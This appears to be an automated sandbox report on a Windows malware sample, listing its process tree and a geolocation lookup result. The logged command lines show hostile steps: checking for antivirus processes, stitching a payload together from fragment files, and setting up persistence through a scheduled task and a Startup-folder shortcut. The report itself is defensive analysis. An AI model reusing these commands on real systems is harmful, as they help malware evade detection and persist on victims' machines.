63 6f 6d 27 3e 68 74 74 70 73 3a 5c 2f 5c 2f 77 77 77 2e 6d 61 78 6d 69 6e 64 2e 63 6f 6d 3c 5c 2f 61 3e 2e 22 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 63 69 74 79 22 3a 22 4e 65 77 20 59 6f 72 6b 22 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 72 65 67 69 6f 6e 22 3a 22 4e 65 77 20 59 6f 72 6b 22 2c 0a 20 20 22 67 65 [TRUNCATED] Data Ascii: { "geoplugin_request":"8.46.123.189", "geoplugin_status":200, "geoplugin_delay":"1ms", "geoplugin_credit":"Some of the returned data includes GeoLite2 data created by MaxMind, available from <a href='https:\/\/www.maxmind.com'>https:\/\/www.maxmind.com<\/a>.", "geoplugin_city":"New York", "geoplugin_region":"New York", "geoplugin_regionCode":"NY", "geoplugin_regionName":"New York", "geoplugin_areaCode":"", "geoplugin_dmaCode":"501", "geoplugin_countryCode":"US", "geoplugin_countryName":"United States", "geoplugin_inEU":0, "geoplugin_euVATrate":false, "geoplugin_continentCode":"NA", "geoplugin_continentName":"North America", "geoplugin_latitude":"40.7503", "geoplugin_longitude":"-74.0014", "geoplugin_locationAccuracyRadius":"20", "geoplugin_timezone":"America\/New_York", "geoplugin_currencyCode":"USD", "geoplugin_currencySymbol":"$", "geoplugin_currencySymbol_UTF8":"$", "geoplugin_currencyConverter":0}

Target ID:	0
Start time:	11:38:54
Start date:	12/12/2024
Path:	C:\Users\user\Desktop\sXpIsdpkzy.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\sXpIsdpkzy.exe"
Imagebase:	0x400000
File size:	1'304'754 bytes
MD5 hash:	9DCF036916A9158CC7087C80374DB9AE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Target ID:	2
Start time:	11:38:55
Start date:	12/12/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c copy Hazards Hazards.cmd && Hazards.cmd
Imagebase:	0xd70000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	3
Start time:	11:38:55
Start date:	12/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff620390000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	4
Start time:	11:38:56
Start date:	12/12/2024
Path:	C:\Windows\SysWOW64\tasklist.exe
Wow64 process (32bit):	true
Commandline:	tasklist
Imagebase:	0xf80000
File size:	79'360 bytes
MD5 hash:	0A4448B31CE7F83CB7691A2657F330F1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	5
Start time:	11:38:56
Start date:	12/12/2024
Path:	C:\Windows\SysWOW64\findstr.exe
Wow64 process (32bit):	true
Commandline:	findstr /I "wrsa opssvc"
Imagebase:	0x920000
File size:	29'696 bytes
MD5 hash:	F1D4BE0E99EC734376FDE474A8D4EA3E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	6
Start time:	11:38:57
Start date:	12/12/2024
Path:	C:\Windows\SysWOW64\tasklist.exe
Wow64 process (32bit):	true
Commandline:	tasklist
Imagebase:	0xf80000
File size:	79'360 bytes
MD5 hash:	0A4448B31CE7F83CB7691A2657F330F1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	7
Start time:	11:38:57
Start date:	12/12/2024
Path:	C:\Windows\SysWOW64\findstr.exe
Wow64 process (32bit):	true
Commandline:	findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"
Imagebase:	0x920000
File size:	29'696 bytes
MD5 hash:	F1D4BE0E99EC734376FDE474A8D4EA3E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	8
Start time:	11:38:57
Start date:	12/12/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c md 33988
Imagebase:	0xd70000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	9
Start time:	11:38:57
Start date:	12/12/2024
Path:	C:\Windows\SysWOW64\findstr.exe
Wow64 process (32bit):	true
Commandline:	findstr /V "EmergencyAdaptedResearchOrdinaryHeatherSuspendedHospitalsScanner" Cancer
Imagebase:	0x920000
File size:	29'696 bytes
MD5 hash:	F1D4BE0E99EC734376FDE474A8D4EA3E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	10
Start time:	11:38:58
Start date:	12/12/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c copy /b ..\Oe + ..\Increases + ..\Independently + ..\Devon + ..\Hotels + ..\Automobile + ..\Albany + ..\Georgia + ..\Guess + ..\Funeral w
Imagebase:	0xd70000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	11
Start time:	11:38:59
Start date:	12/12/2024
Path:	C:\Users\user\AppData\Local\Temp\33988\Paintball.com
Wow64 process (32bit):	true
Commandline:	Paintball.com w
Imagebase:	0x900000
File size:	893'608 bytes
MD5 hash:	6EE7DDEBFF0A2B78C7AC30F6E00D1D11
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 3%, ReversingLabs
Reputation:	moderate
Has exited:	false

Target ID:	12
Start time:	11:38:59
Start date:	12/12/2024
Path:	C:\Windows\SysWOW64\choice.exe
Wow64 process (32bit):	true
Commandline:	choice /d y /t 5
Imagebase:	0x300000
File size:	28'160 bytes
MD5 hash:	FCE0E41C87DC4ABBE976998AD26C27E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	13
Start time:	11:39:00
Start date:	12/12/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c schtasks.exe /create /tn "Mon" /tr "wscript //B 'C:\Users\user\AppData\Local\Secure360 Innovations\Securify360.js'" /sc minute /mo 5 /F
Imagebase:	0xd70000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	14
Start time:	11:39:00
Start date:	12/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff620390000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	15
Start time:	11:39:00
Start date:	12/12/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	schtasks.exe /create /tn "Mon" /tr "wscript //B 'C:\Users\user\AppData\Local\Secure360 Innovations\Securify360.js'" /sc minute /mo 5 /F
Imagebase:	0x50000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	16
Start time:	11:39:00
Start date:	12/12/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /k echo [InternetShortcut] > "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Securify360.url" & echo URL="C:\Users\user\AppData\Local\Secure360 Innovations\Securify360.js" >> "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Securify360.url" & exit
Imagebase:	0xd70000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	17
Start time:	11:39:00
Start date:	12/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff620390000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	18
Start time:	11:39:02
Start date:	12/12/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\wscript.EXE //B "C:\Users\user\AppData\Local\Secure360 Innovations\Securify360.js"
Imagebase:	0x7ff6df8d0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	19
Start time:	11:39:02
Start date:	12/12/2024
Path:	C:\Users\user\AppData\Local\Secure360 Innovations\Securify360.scr
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Secure360 Innovations\Securify360.scr" "C:\Users\user\AppData\Local\Secure360 Innovations\V"
Imagebase:	0xf90000
File size:	893'608 bytes
MD5 hash:	6EE7DDEBFF0A2B78C7AC30F6E00D1D11
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 3%, ReversingLabs
Has exited:	true

Target ID:	21
Start time:	11:39:11
Start date:	12/12/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Secure360 Innovations\Securify360.js"
Imagebase:	0x7ff6df8d0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	22
Start time:	11:39:11
Start date:	12/12/2024
Path:	C:\Users\user\AppData\Local\Secure360 Innovations\Securify360.scr
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Secure360 Innovations\Securify360.scr" "C:\Users\user\AppData\Local\Secure360 Innovations\V"
Imagebase:	0xf90000
File size:	893'608 bytes
MD5 hash:	6EE7DDEBFF0A2B78C7AC30F6E00D1D11
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true